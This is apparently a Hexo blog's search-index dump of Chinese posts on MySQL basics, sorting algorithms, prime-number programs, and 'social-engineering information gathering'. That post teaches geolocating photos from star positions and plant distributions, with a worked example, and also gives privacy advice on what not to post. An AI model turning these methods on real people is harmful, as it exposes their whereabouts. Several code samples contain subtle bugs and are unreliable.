~2^31^-1无符号值:0~2^32^-1\n4\n\n\nbigint\n较大的数据\n有符值:-2^63^ ~2^63^-1无符号值:0~2^64^-1\n8\n\n\nfloat\n单精度浮点数\n±1.17e -38\n4\n\n\ndouble\n双精度浮点数\n±2.22e -308\n8\n\n\ndecimal\n字符串形式的浮点数金融计算时常用\ndecimal(m,d) 参数m<65 是总个数,d<30且 d<m 是小数位\nm个字节\n\n\n\n字符串\n\n\n\n\n类型\n说明\n最大长度/字节\n\n\n\n==char==\n固定长字符串\n0-255\n\n\n==varchar==\n可变字符串\n0-65535\n\n\ntinytext\n微型文本\n2^8^-1\n\n\ntext\n文本串\n2^16^-1\n\n\n\n时间日期\n\njava.util.Date\n\n\n\n类型\n说明\n\n\n\nDATE\nYYYY-MM-DD\n\n\nTIME\nHh:mm:ss\n\n\n==DATETIME==\nYYYY-MM-DD HH:mm:ss\n\n\n==TIMESTAMP==\n时间戳(1970.1.1到现在的毫秒数)\n\n\nYEAR\n表示年份\n\n\n\nyyyy-MM-dd HH:mm:ss年-月-日 时:分:秒 大写是区分“ 月 ”与“ 分 ” HH为什么大写,是为了区分 12小时制 与 24小时制 。 小写的h是12小时制,大写的H是24小时制\n\n\nnull\n\n没有值,未知\n==不要使用null进行算术运算,结果仍为null==\n\nMySQL数据类型的长度和范围\n\n\n※字段属性\nUnsigned\n\n无符号的\n声明该数据列不允许负数\n\nZerofill\n\n0填充的\n不足位数的用0来填充 , 如int(3),5则为005\n\nAuto_InCrement\n\n自动增长 , 每添加一条数据 , 自动在上一个记录数上加 1(默认)\n通常用于设置主键 , 且为整数类型\n可自定义设计主键自增的起始值和步长\n\n当前表设置步长(AUTO_INCREMENT=100):只影响当前表\nSET @@auto_increment_increment=5;影响所有使用自增的表(全局)\n\n\nNULL 和 NOT NULL\n\n默认为NULL , 即没有插入该列的数值\n如果设置为NOT NULL , 则该列必须有值\n\nDefault\n\n设置默认的值\n创建数据库表--目标 : 创建一个school数据库--创建学生表(列,字段)--学号int 登录密码varchar(20) 姓名,性别varchar(2),出生日期(datatime),家庭住址,emailCREATE TABLE IF NOT EXISTS `student` (`id` int(4) NOT NULL AUTO_INCREMENT COMMENT '学号',`name` varchar(30) NOT NULL DEFAULT '匿名' COMMENT '姓名',`pwd` varchar(20) NOT NULL DEFAULT '123456' COMMENT '密码',`sex` varchar(2) NOT NULL DEFAULT '男' COMMENT '性别',`birthday` datetime DEFAULT NULL COMMENT '生日',`address` varchar(100) DEFAULT NULL COMMENT '地址',`email` varchar(50) DEFAULT NULL COMMENT '邮箱',PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8\n\n格式\nCREATE TABLE [IF NOT EXISTS] `表名`( `字段名` 列类型 [属性] [索引] [注释], `字段名` 列类型 [属性] [索引] [注释], ... `字段名` 列类型 [属性] [索引] [注释])[表类型][字符集设置][注释]\n\n常用命令\n-- 查看数据库的定义SHOW CREATE DATABASE school;-- 查看数据表的定义SHOW CREATE TABLE student;-- 显示表结构DESC student; -- 设置严格检查模式(不能容错了)SET sql_mode='STRICT_TRANS_TABLES';-- 查看mysql所支持的引擎类型 (表类型)SHOW ENGINES;\n\n数据表类型InnoDB:默认使用\nMyISAM:早些年使用的\n\n\n\n名称\nMyISAM\nInnoDB\n\n\n\n事务处理\n不支持\n支持\n\n\n数据行锁定\n不支持\n支持\n\n\n外键约束\n不支持\n支持\n\n\n全文索引\n支持\n不支持\n\n\n表空间大小\n较小\n较大,约2倍\n\n\n常规使用操作\n\nMYISAM\t节约空间,速度较快\nINNODB\t安全性高,支持事务的处理,支持多表多用户操作\n\n\n数据表的存储位置\n\n位置:Mysql安装目录\\data\\下存放数据表。目录名对应数据库名 , 该目录下文件名对应数据表\n每个库目录存在一个保存当前数据库的选项文件db.opt\n\n注意\n\n\n*.frm\t表结构定义文件\n\n*.MYD\t数据文件 ( data )\n\n*.MYI\t索引文件 ( index )\n\nInnoDB类型数据表只有一个 *.frm文件 , 以及上一级目录的ibdata1文件\n\nMyISAM类型数据表对应三个文件:*.frm\t表结构定义文件*.MYD\t数据文件 ( data )*.MYI\t索引文件 ( index )\n\n\n\n设置数据库表的字符集编码\n\n我们可为数据库、数据表、数据列设定不同的字符集,设定方法:\n\n创建时通过命令来设置\nCREATE TABLE 表名()CHARSET=utf8;\n\n如无设定 , 则根据MySQL数据库配置文件 my.ini 中的参数设定\n\n\n参考链接:http://t.csdn.cn/Vy9j2\n修改、删除表\n修改表(ALTER TABLE)\n\n修改表名:ALTER TABLE 旧表名 RENAME AS 新表名\n添加字段:ALTER TABLE 表名 ADD 字段名 列属性[属性]\n修改字段\n​\tALTER TABLE 表名 MODIFY 字段名 列类型[属性]\n​\tALTER TABLE 表名 CHANGE 旧字段名 新字段名 列属性[属性]\n删除字段:ALTER TABLE 表名 DROP 字段名\n\n删除表\n\nDROP TABLE [IF EXISTS] 表名\nMySQL数据管理外键如果公共关键字在一个关系中是主关键字,那么这个公共关键字被称为另一个关系的外键。由此可见,外键表示了两个关系之间的相关联系。以另一个关系的外键作主关键字的表被称为主表,具有此外键的表被称为主表的从表。\n在实际操作中,将一个表的值放入第二个表来表示关联,所使用的值是第一个表的主键值(在必要时可包括复合主键值)。此时,第二个表中保存这些值的属性称为外键(foreign key)。\n外部作用\n保持数据一致性,完整性,主要目的是控制存储在外键表中的数据,约束。使两张表形成关联,外键只能引用外表中的列的值或使用空值。\n\n创建子表同时创建外键\n\n-- 创建外键的方式一 : 创建子表同时创建外键-- 年级表 (id\\年级名称)CREATE TABLE `grade` (`gradeid` INT(10) NOT NULL AUTO_INCREMENT COMMENT '年级ID',PRIMARY KEY (`gradeid`)) ENGINE=INNODB DEFAULT CHARSET=utf8-- 学生信息表 (学号,姓名,性别,年级,手机,地址,出生日期,邮箱,身份证号)CREATE TABLE `student` (`studentno` INT(4) NOT NULL COMMENT '学号',`gradeid` INT(10) DEFAULT NULL COMMENT '年级',PRIMARY KEY (`studentno`),KEY `FK_gradeid` (`gradeid`),CONSTRAINT `FK_gradeid` FOREIGN KEY (`gradeid`) REFERENCES `grade` (`gradeid`)) ENGINE=INNODB DEFAULT CHARSET=utf8\n\n删除具有主外键关系的表时 , 要先删子表 , 后删主表\n-- 删除外键ALTER TABLE student DROP FOREIGN KEY FK_gradeid;-- 发现执行完上面的,索引还在,所以还要删除索引-- 注:这个索引是建立外键的时候默认生成的ALTER TABLE student DROP INDEX FK_gradeid;\n\n\n创建子表完毕后,修改子表添加外键\n\nALTER TABLE `student`ADD CONSTRAINT `FK_gradeid` FOREIGN KEY (`gradeid`) REFERENCES `grade` (`gradeid`);\n\nALTER TABLE `表名` ADD CONSTRAINT `约束名` FOREIGN KEY (`作为外键的列`) REFERENCES (`哪个字段`)\n==不建议使用(避免数据库过多造成困扰)==\n增删改查\nInsert 添加\n\nINSERT INTO 表名[(字段1,字段2,字段3,...)] VALUES('值1'),('值2'),('值3')\n\n例\nINSERT INTO `student`(name,sex,age) values('张三',18,'男')--另一种形式INSERT INTO Set name='张三',age=18\n\n\nUpdate 修改\n\nUPDATE 表名 SET column_name=value [,column_name1=value1,...] [WHERE condition];\n\n例\nUPDATE student set name='张三' where id=1\n\n\nDelete 删除\n\nDELETE FROM 表名 [WHERE condition];\n\n例\nDELETE FOTM student WHERE id=1\n\n\nTRUNCATE\n\n作用:用于完全清空表数据,但表结构、索引、约束等不变\nTRUNCATE [TABLE] table_name;\n\n\nDELETE与TRUNCATE区别\n\n相同:都能删除数据,不删除表结构,但TRUNCATE速度更快 \n不同:\nTRUNCATE TABLE 重新设置AUTO_INCREMENT计数器\n使用TRUNCATE TABLE不会对事务有影响\n\n\n\n\n\nDELETE删除的问题\n\nInnoDB 自增列会重新从1开始(存在于内存当中,断电即失)\nMyISAM 继续从上一个自增量开始(存在于文件中,不会丢失)\n\n\n\nSELECT\n\n死锁:指两个或两个以上的进程在执行过程中因争夺资源而造成的一种互相等待的现象\n","tags":["技术栈"]},{"title":"Hello World","url":"/2024/04/12/hello-world/","content":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.\nQuick StartCreate a new post$ hexo new "My New Post"\n\nMore info: Writing\nRun server$ hexo server\n\nMore info: Server\nGenerate static files$ hexo generate\n\nMore info: Generating\nDeploy to remote sites$ hexo deploy\n\nMore info: Deployment\n"},{"title":"十大经典排序算法","url":"/2024/04/14/%E5%8D%81%E5%A4%A7%E7%BB%8F%E5%85%B8%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/","content":"各个算法的时空复杂度及稳定性:\n稳定:如果a原本在b前面,且a=b,排序之后a仍然在b的前面。\n不稳定:如果a原本在b的前面,且a=b,排序之后 a 可能会出现在 b 的后面。\n\n\n一、冒泡排序(Bubble Sort)1、原理基本思想:通过无序区中相邻元素关键字间的比较和位置的交换,使关键字最小的元素像气泡一样浮到最顶部;接着对剩下的元素排序,使得第二小的元素到达顶部,同样的方法直到所有元素排序完成。\n2、步骤①比较相邻的元素。如果第一个比第二个大,就交换它们两个;\n②对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对,这样在最后的元素应该会是最大的数;\n③针对所有的元素重复步骤①~②,除了最后一个元素,直到排序完成。\n3、动画演示\n4、代码实现void bubble_sort(){ for (int i = n-1; i >= 1; i -- ) { bool flag = true; for (int j = 1; j <= i; j ++ ) if (a[j-1] > a[j]) { swap(a[j-1], a[j]); flag = false; } if (flag) return; }}\n\n二、选择排序(Selection Sort)1、原理选择排序是一种简单直观的排序算法。它的工作原理:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置,然后,再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。以此类推,直到所有元素均排序完毕。\n2、步骤n个记录的直接选择排序可经过n-1趟直接选择排序得到有序结果。具体算法描述如下:\n\n初始状态:无序区为R[1..n],有序区为空;\n第i趟排序(i=1,2,3…n-1)开始时,当前有序区和无序区分别为R[1..i-1]和R(i..n)。该趟排序从当前无序区中-选出关键字最小的记录R[k],将它与无序区的第1个记录R交换,使R[1..i]和R[i+1..n)分别变为记录个数增加1个的新有序区和记录个数减少1个的新无序区;\nn-1趟结束,数组有序化了。\n\n3、动画演示\n4、代码实现void select_sort(){ for (int i = 0; i < n; i ++ ) { int k = i; for (int j = i+1; j < n; j ++ ) { if (a[j] < a[k]) k = j; } swap(a[i], a[k]); }}\n\n三、插入排序(Insertion Sort)1、原理这里主要针对直接插入排序。将元素与已经排序的有序序列比较,找到对应的位置插入。\n2、步骤①从第一个元素开始,该元素可以认为已经被排序;\n②取出下一个元素,在已经排序的元素序列中从后向前扫描;\n③如果该元素(已排序)大于新元素,将该元素移到下一位置;\n④重复步骤3,直到找到已排序的元素小于或者等于新元素的位置;\n⑤将新元素插入到该位置后;\n⑥重复步骤2~5。\n3、动画演示\n4、代码实现void insert_sort(){ for (int i = 1; i < n; i ++ ) { int x = a[i]; int j = i-1; while (j >= 0 && x < a[j]) { a[j+1] = a[j]; j -- ; } a[j+1] = x; }}\n\n四、快速排序(Quick Sort)1、原理一般选择将待排序序列分为两个序列,正中间的那个数作为关键字,然后两个指针一个从头到关键字遍历,遇到大于(小于)关键字的元素就停下来,另一个指针从尾到关键字遍历,遇到小于(大于)关键字的元素停下来,交换两个指针的元素完成排序;将序列递归分治按照前面的原理排序,直到序列有序。\n2、步骤快速排序使用分治法来把一个串(list)分为两个子串(sub-lists)。具体算法描述如下:\n\n选取基准元素(pivot)\n划分,根据选取的pivot将数组划分成小于pivot的部分和大于pivot的部分\n递归求解小于pivot和大于pivot的部分\n\n基准元素可以选择第一个元素或者最后一个元素即Lomuto Partition Scheme,但是这样划分成两部分的时候有一部分是空的,这样可能造成死循环;从中间划分可以保证两部分都不为空,即Hoare Partition Scheme。\n3、动画演示\n4、代码实现void quick_sort(int q[], int l, int r){ if (l >= r) return; int i = l - 1, j = r + 1, x = q[l + r >> 1]; while (i < j) { do i ++ ; while (q[i] < x); do j -- ; while (q[j] > x); if (i < j) swap(q[i], q[j]); } quick_sort(q, l, j), quick_sort(q, j + 1, r);}\n\n快速排序的边界问题\n快排属于分治算法,最怕的就是n分成0和n,或n分成n和0,导致死循环。\n\n以j为划分时,x不能选q[r] (若以i为划分,则x不能选q[l])\n假设x = q[r]\n关键句子quick_sort(q, l, j), quick_sort(q, j + 1, r);\n由于j的最小值是l,所以q[j+1..r]不会造成无限划分\n但q[l..j](即quick_sort(q, l, j))却可能造成无限划分,因为j可能为r\n举例来说,若x选为q[r],数组中q[l..r-1] < x,\n那么这一轮循环结束时i = r, j = r,显然会造成无限划分\n\ndo i++; while q[i]<x和do j–; whileq[j]>x不能用q[i] <= x 和 q[j] >= x\n假设q[l..r]全相等\n则执行完do i++; while(q[i] <= x);之后,i会自增到r+1\n然后继续执行q[i] <= x 判断条件,造成数组下标越界但这貌似不会报错但这貌似不会报错\n并且如果之后的q[i] <= x此时i>r此时i>r条件也不幸成立,\n就会造成一直循环下去亲身实验亲身实验,造成内存超限MemoryLimitExceeded\n\nif(i < j) swap(q[i], q[j])能否使用i <= j\n可以使用if(i <= j) swap(q[i], q[j]);\n因为i = j 时,交换一下q[i],q[j]无影响,因为马上就会跳出循环了\n\n最后一句能否改用quick_sortq,l, j−1,quick_sortq,j,r作为划分用i做划分时也是同样的道理,用i做划分时也是同样的道理,\n不能根据之前的证明,最后一轮循环可以得到这些结论\nj <= i 和 q[l..i-1] <= x, q[i] >= x 和 q[j+1..r] >= x, q[j] <= x\n所以,q[l..j-1] <= x 是显然成立的,\n但quick_sort(q, j, r)中的q[j] 却是 q[j] <= x,这不符合快排的要求\n另外一点,注意quick_sort(q, l, j-1), quick_sort(q, j, r)可能会造成无线划分\n当x选为q[l]时会造成无限划分,报错为MLE,\n如果手动改为x = q[r],可以避免无限划分\n但是上面所说的q[j] <= x的问题依然不能解决,这会造成WA WrongAnswer\n\nj的取值范围为[l..r-1]\n证明:\n假设 j 最终的值为 r ,说明只有一轮循环(两轮的话 j 至少会自减两次)\n说明q[r] <= x 因为要跳出do−while循环因为要跳出do-while循环\n说明 i >= r(while循环的结束条件), i 为 r 或 r + 1必不可能成立必不可能成立\n说明 i 自增到了 r , 说明 q[r] >= x 和 q[l..r-1] < x,\n得出 q[r] = x 和 q[l..r-1] < x 的结论,但这与 x = q[l + r >> 1]矛盾\n反证法得出 j < r\n假设 j 可能小于 l 说明 q[l..r] > x ,矛盾\n反证法得出 j >= l\n\n\n所以 j的取值范围为[l..r-1],不会造成无限划分和数组越界。\n五、希尔排序(Shell Sort)1、原理希尔排序又叫缩小增量排序,也是一种插入排序方法(通常快于直接插入法),具体做法是将整个待排序的记录序列分割成为若干子序列分别进行直接插入排序;\n2、步骤\n1.先选定一个小于N的整数gap作为第一增量,然后将所有距离为gap的元素分在同一组,并对每一组的元素进行直接插入排序。然后再取一个比第一增量小的整数作为第二增量,重复上述操作…\n2.当增量的大小减到1时,就相当于整个序列被分到一组,进行一次直接插入排序,排序完成。\n\n对于增量的选定无一定论,但最后一个增量必须等于1,也就是说,每趟后一个增量是前一个增量的1/2。\n3、动画演示\n4、代码实现void shell_sort(){ for (int gap = n >> 1; gap; gap >>= 1) { for (int i = gap; i < n; i ++ ) { int x = a[i]; int j; for (j = i; j >= gap && a[j-gap] > x; j -= gap) a[j] = a[j-gap]; a[j] = x; } }}\n\n六、归并排序(Merge Sort)1、原理归并排序是建立在归并操作上的一种有效的排序算法。该算法是采用分治法(Divide and Conquer)的一个非常典型的应用。将已有序的子序列合并,得到完全有序的序列;即先使每个子序列有序,再使子序列段间有序。若将两个有序表合并成一个有序表,称为2-路归并。\n2、步骤\n把长度为n的输入序列分成两个长度为n/2的子序列;\n对这两个子序列分别采用归并排序;\n将两个排序好的子序列合并成一个最终的排序序列\n\n3、动画演示\n4、代码实现void merge_sort(int q[], int l, int r){ //递归的终止情况 if(l >= r) return; //第一步:分成子问题 int mid = l + r >> 1; //第二步:递归处理子问题 merge_sort(q, l, mid ), merge_sort(q, mid + 1, r); //第三步:合并子问题 int k = 0, i = l, j = mid + 1, tmp[r - l + 1]; while(i <= mid && j <= r) if(q[i] <= q[j]) tmp[k++] = q[i++]; else tmp[k++] = q[j++]; while(i <= mid) tmp[k++] = q[i++]; while(j <= r) tmp[k++] = q[j++]; for(k = 0, i = l; i <= r; k++, i++) q[i] = tmp[k];}\n\ntmp 保存的是 q[l..mid] , q[mid+1..r] 中从小到大排序的所有数证明(第一个 while 循环)循环不变式: tmp[0..k-1] 保存上述俩数组中从小到大排序的最小 k 个数\n1.初始\n k = 0, tmp[0..k-1] 为空,显然成立\n2.保持\n 假设某轮循环开始之前,循环不变式成立\n 若 q[i] <= q[j], 则 tmp[k] = q[i]\n 其中 q[i] <= q[i+1..mid], q[i] <= q[j] <= q[j+1..r]\n ∴ q[i] 是剩下的所有数中最小的一个\n 当 q[i] > q[j] 时,同理可以得到 tmp[k] = q[j] 是剩下数中最小的一个\n ∴ tmp[k] 是剩下数中最小的一个\n ∴ k自增之后,下轮循环开始之前,tmp[0..k-1]保存从小到大排序的最小k个数\n3.终止\n i > mid 或 j > r\n 则 q[l..mid] 和 q[mid+1..r] 其中一个数组的数都已遍历\n tmp[0..k-1]保存从小到大排序的最小k个数\n七、计数排序(Counting Sort)1、原理 计数排序,又叫非比较排序,其核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。 作为一种线性时间复杂度的排序,计数排序要求输入的数据必须是有确定范围的整数\n2、步骤\n找出待排序的数组中最大和最小的元素;\n统计数组中每个值为i的元素出现的次数,存入数组C的第i项;\n对所有的计数累加(从C中的第一个元素开始,每一项和前一项相加);\n反向填充目标数组:将每个元素i放在新数组的第Ci项,每放一个元素就将Ci减去1。\n\n3、动画演示\n4、代码实现void counting_sort(){ int sorted[N]; int maxv = a[0]; for (int i = 1; i < n; i ++ ) if (maxv < a[i]) maxv = a[i]; int count[maxv+1]; for (int i = 0; i < n; i ++ ) count[a[i]] ++ ; for (int i = 1; i <= maxv; i ++ ) count[i] += count[i-1]; for (int i = n-1; i >= 0; i -- ) { sorted[count[a[i]]-1] = a[i]; count[a[i]] -- ; } for (int i = 0; i < n; i ++ ) a[i] = sorted[i];}\n\n八、基数排序(Radix Sort)1、原理基数排序是按照低位先排序,然后收集;再按照高位排序,然后再收集;依次类推,直到最高位。有时候有些属性是有优先级顺序的,先按低优先级排序,再按高优先级排序。最后的次序就是高优先级高的在前,高优先级相同的低优先级高的在前。\n2、步骤\n取得数组中的最大数,并取得位数;\narr为原始数组,从最低位开始取每个位组成radix数组;\n对radix进行计数排序(利用计数排序适用于小范围数的特点)。\n\n3、动画演示\n4、代码实现int maxbit(){ int maxv = a[0]; for (int i = 1; i < n; i ++ ) if (maxv < a[i]) maxv = a[i]; int cnt = 1; while (maxv >= 10) maxv /= 10, cnt ++ ; return cnt;}void radixsort(){ int t = maxbit(); int radix = 1; for (int i = 1; i <= t; i ++ ) { for (int j = 0; j < 10; j ++ ) count[j] = 0; for (int j = 0; j < n; j ++ ) { int k = (a[j] / radix) % 10; count[k] ++ ; } for (int j = 1; j < 10; j ++ ) count[j] += count[j-1]; for (int j = n-1; j >= 0; j -- ) { int k = (a[j] / radix) % 10; temp[count[k]-1] = a[j]; count[k] -- ; } for (int j = 0; j < n; j ++ ) a[j] = temp[j]; radix *= 10; }}\n\n九、桶排序(Bucket Sort)1、原理遍历原始序列确定最大值maxval和最小值minval,并确定桶的个数n; 然后,将待排序集合中处于同一个值域的元素存入同一个桶中,在桶内使用各种现有的算法进行排序;最后按照从小到大的顺序依次收集桶中的每一个元素, 即为最终结果。\n2、步骤\n1.设置一个定量的数组当作空桶;\n2.遍历输入数据,并且把数据一个一个放到对应的桶里去;\n3.对每个不是空的桶进行排序;\n4.从不是空的桶里把排好序的数据拼接起来。\n\n桶排序是一种用空间换取时间的排序。桶的个数和大小都是我们人为设置的,而每个桶又要避免空桶的情况,所以我们在使用桶排序的时候即需要对待排序数列要求偏均匀,又要要求桶的设计兼顾效率和空间;数要相对均匀分布,桶的个数也要合理设计。在设计桶排序时,需要知道输入数据的上界和下界。\n3、动画演示\n4、代码实现//桶排序 void BucketSort(int a[], int n){ int minval = a[0], maxval = a[0]; for(int i = 0; i < n; i ++){//寻找原序列数组元素的最大值和最小值 minval = min(minval, a[i]); maxval = max(maxval, a[i]); } int bnum = 10;//桶中元素个数 int m = (maxval - minval) / bnum + 1;//桶的个数 vector< vector<int> > bucket(m); //收集,将元素入相应的桶中. 减偏移量是为了将元素映射到更小的区间内,省内存 for(int i = 0; i < n; i ++) bucket[(a[i] - minval) / bnum].push_back(a[i]); //将桶内元素排序 for(int i = 0; i < m; i ++) sort(bucket.begin(), bucket.end()); //收集, 将各个桶中的元素收集到一起 for(int i = 0, k = 0; i < m; i ++){ for(int j = 0; j < bucket[i].size(); j ++){ data[k ++] = bucket[i][j]; } }}\n\n十、堆排序(Heap Sort)1、原理先看看堆的特性:\n\n堆是一种特殊的树形数据结构,即完全二叉树。堆分为大根堆和小根堆,大根堆为根节点的值大于两个子节点的值;小根堆为根节点的值小于两个子节点的值,同时根节点的两个子树也分别是一个堆。\n\n\n堆排序是指利用堆这种数据结构所设计的一种排序算法。堆积是一个近似完全二叉树的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。\n2、步骤\n1.构建堆:将待排序序列构建成一个堆H[0……n-1],从最后一个非叶子结点开始,从左至右,从下至上进行调整。根据升序或降序需求选择大顶堆或小顶堆;\n2.此时的堆顶元素,为最大或者最小元素;\n3.把堆顶元素和堆尾元素互换,调整堆,重新使堆有序;\n4.此时堆顶元素为第二大元素;\n5.重复以上步骤,直到堆变空。\n\n3、动画演示\n4、代码实现void down(int u){ int t = u; if (u<<1 <= n && h[u<<1] < h[t]) t = u<<1; if ((u<<1|1) <= n && h[u<<1|1] < h[t]) t = u<<1|1; if (u != t) { swap(h[u], h[t]); down(t); }}int main(){ for (int i = 1; i <= n; i ++ ) cin >> h[i]; for (int i = n/2; i; i -- ) down(i); while (true) { if (!n) break; cout << h[1] << ' '; h[1] = h[n]; n -- ; down(1); } return 0;}\n","tags":["summary"]},{"title":"对于求素数的一些个人思考","url":"/2024/04/14/%E5%AF%B9%E4%BA%8E%E6%B1%82%E7%B4%A0%E6%95%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E4%B8%AA%E4%BA%BA%E6%80%9D%E8%80%83/","content":"看到一道题\n\n求100之内的素数\n\n动手尝试后查阅相关资料看到一篇文章:求质数算法的N种境界-试除法和初级筛法原文链接\n//法一。当数据不是素数时需要算很多才能停:(#include <stdio.h>int main() { int x; scanf_s("%d", &x); int i; for (i = 2; i < x; i++) { if (x % i == 0) { break; } } if (i < x) { printf("%d不是素数\\n",x); } else { printf("%d是素数\\n",x); } return 0;}\n\n//法二。:)#include <stdio.h>int main(){ int x; scanf_s("%d", &x); int i; int isPrime = 1; for (i = 2; i < x; i++) { if (x % i == 0) { isPrime = 0; break; } } if (isPrime == 1) { printf("%d不是素数\\n",x); } else { printf("%d是素数\\n",x); } return 0;}\n\n//法三。=)#include<stdio.h>#include<math.h>#define N 15000int main(){\tint a, i, j, k, num, sum = 0;\tprintf("Q1:要求多少以内的素数?\\nQ2:要多少个素数?\\n");\tprintf("Q1请输入0,Q2请输入1\\n请输入:");\tscanf_s("%d", &a);\twhile (a != 1 && a != 2)\t{\t\tprintf("请重新输入:");\t\tscanf_s("%d", &a);\t}\tif (a == 0)\t{\t\tprintf("请输入数字:");\t\tscanf_s("%d", &num);\t\tfor (i = 2; i <= num; i++)\t\t{\t\t\tk = sqrt(i);\t\t\tfor (j = 2; j <= k; j += 1)\t\t\t{\t\t\t\tif (i % j == 0)\t\t\t\t{\t\t\t\t\tbreak;\t\t\t\t}\t\t\t}\t\t\tif (j > k)\t\t\t{\t\t\t\tprintf("%d\\t", i);\t\t\t\tsum++;\t\t\t\tif (sum % 10 == 0)\t\t\t\t{\t\t\t\t\tprintf("\\n");\t\t\t\t}\t\t\t}\t\t}\t\tprintf("\\n%d内一共有%d个素数", num, sum);\t}\telse if (a == 1)\t{\t\tprintf("请输入数字:");\t\tscanf_s("%d", &num);\t\tfor (i = 2; i <= N; i++)\t\t{\t\t\tk = sqrt(i);\t\t\tfor (j = 2; j <= k; j += 1)\t\t\t{\t\t\t\tif (i % j == 0)\t\t\t\t{\t\t\t\t\tbreak;\t\t\t\t}\t\t\t}\t\t\tif (j > k)\t\t\t{\t\t\t\tprintf("%d\\t", i);\t\t\t\tsum++;\t\t\t\tif (sum % 10 == 0)\t\t\t\t{\t\t\t\t\tprintf("\\n");\t\t\t\t}\t\t\t\tif (sum == num)\t\t\t\t{\t\t\t\t\tbreak;\t\t\t\t}\t\t\t}\t\t}\t}\treturn 0;}\n\n附质数筛法工作过程GIF图\n\n","tags":["summary"]},{"title":"社工信息搜集","url":"/2024/04/14/%E7%A4%BE%E5%B7%A5%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/","content":"社工信息搜集BV1Jk4y1S7H7\n\n 推荐up主:地图侦探、地球百科君、MU芝士语言学\n\nStellarium\n星空定位经纬度假设天上两卫星,以其中一个卫星为圆心和你的距离为半径画一个球体,这个球体和地球交线为一个圆,你只可能在这个圆上\n\n另一个如法炮制,则一个球和一个圆焦点只有两个点,你一定在这两个点上\n\n此时如果以你为原点,两颗卫星的相对位置会为你排除其中一个点,你的位置就能确定。如果天上卫星越多,就越精确\n\n对于星星可视作无穷远距离,我们假设它们都在一个单位球上即可\n\n\n以该图为例图,图中位于上方的消失点是天顶(0,0,1),再通过焦距计算出每个恒星的球坐标,因为以赤道算\n\n\n恒星的赤经、赤纬是确定的\n\n则我们就能将赤经转换为地平线坐标下的时角,也能将赤道坐标的北极点转化为地平坐标,那么纬度和地方时就知道了\n赤经/赤纬(当前日期纪元):10h47m41s/+7°07'51"时角/赤纬:15h20m36s/+7°07'51"方位角/高度角:+63°25'22"/-31°35'34"\n\n如果知道时间,还能确定经度,当然,就算不知道时间,如果图片中能看到月亮,或者图片清晰度较高且能看到金星或者火星,也能确定位置,因为这三个离我们比较近\n\n比如金星,将位置调离当前位置10个经度、10个纬度,金星的赤经和赤纬分别变化了1秒和2秒\n当前位置:114.514E,40.1920N调至124.514E,30.1920N时金星赤经-1秒,赤纬+2秒\n\n注意事项发星空照片时\n\n最好不要有任何地景,这样便无法确定天顶在哪。如果主要目的是夜景,请处理图片时将照片中的星星拉到看不见;如果主要目的是星空,一般专业的天问摄影者才会追求照片的不一致而附带地景。\n如果你希望带地景,最好不要发出来,或者只有树木这种不笔直的难以用来确认天顶的景物也是可以的。\n\n不要即拍即发。一般情况下专业的天问摄影者带地景的照片也都是回去叠加等处理之后才发出来的,你也可以在拍完回到室内后修一修,然后定时发表,不要透露拍摄的真实时间。\n\n如果主要目的是拍月球,不要把曝光拉太高,否则会把边上恒星拍进来。\n\n照片中请勿出现南门二或水委一,否则认识星星的人一眼就知道你大概率在海南(小概率在广东、福建、台湾、广西、云南)。当然要在国外旅游的话那没事。\n\n\n\n植物、物候粗略定位物候春天的时候,武汉和哈尔滨物候能差50天\n\n\n物候加减算法:BV1p5411o7Qi\nPPBC中国植物图像库\n+代表比此地早相应天数,-代表比此地晚相应天数\n2-5月物候差:\n\n9月物候差:\n\n\n只要算花期在范围内的地方就行,如果能从照片中看出是始花还是盛花还是开败,还能更加精确\n尤其是春季花卉主力军蔷薇科,从初花到开败总共就十天出头。\n\n花期最短的是紫叶稠李,只有7天左右,其他李属植物比如桃杏李大多数在十一二天,苹果属的比如各种海棠和梨属的稍微长点,绣线菊属的最长,但也不超过20天。只有月季和棣棠等一些培育品种花期可以长达几个月。\n\n植被软件推荐:形色\n国内高原、草原、荒漠、寒温带、中温带、暖温带、亚热带、热带的典型植被网上图片一大堆\n用普通植物确定位置就是一个平面规划,用每种植物的分布取交集\n\n\n全球生物多样性信息设施(GBIF):有所有植物的观察到的地点,搜索要用学名\n\nGBIF最大的问题是不能保证鉴定正确,当然对于普通人来说是完全够用的\n\n例如槭叶铁线莲,西南的这些点全部是错误鉴定\n但对于大多数常见的植物来说,只要正确鉴定足够多,错误鉴定的地点就能一眼看出来\n\n\n实战\n孤独摇滚第九集\n可辨认出三种植物:鹅掌柴、贯众、玉竹\n\n玉竹亚欧广泛分布不考虑。鹅掌柴是很典型的热带植物。因为现在有很多室内种植,所以GBIF上的点可信度就比较低了,我们翻国内标本,最北的是浙江平阳\n\n虽然最北的是浙江平阳,但是平均气温最低的产地是贵州紫云,故后续按照紫云算\n\n\n再找到日本一月最低气温图,可以把地点确定到本州岛东南近岸以及更南\n\n贯众是典型的温带植物,从分布可看出只要一到南亚热带就没了\n\n贯众:\n广东:乳源、乐昌、平远、阳山、英德\n广西:武鸣、马山、融水、阳朔、临桂、兴安、龙胜、资源、百色、德保、凌云、田林、隆林、东兰、珠江、龙州\n\n这样再排除琉球群岛和九州岛南部,这样面积已经缩小到约7万平方公里的区域了,相当于一个重庆\n\n行道树35种及危险等级,危险等级越高的越不要在自己发表的照片中出现\n下图中如果上色是暖色调为主,若非特殊说明,则红色一般代表很大可能会作为行道树的地方\n橙色代表有但是不太可能当做行道树大规模种植的地区\n如果只涂了蓝色则蓝色代表没有这种树的地区,其他地方都有可能用来做行道树\n\n白桦和岳桦\n\n红色和橙色代表白桦,深红色区域白桦岳桦都有,两种都是典型的东北行道树,危险等级高\n\n\n白蜡树\n\n全国大多数地区都有,尤其是东北和西北会更多地用作行道树,但是各地会种一些具有地方特色的同属物种,比如东北的水曲柳,云南的楷叶梣,湖北的湖北梣,新疆的小叶梣等,如果能认出这些来危险度极高,所以建议拍白蜡树前用识花软件识别一下\n\n\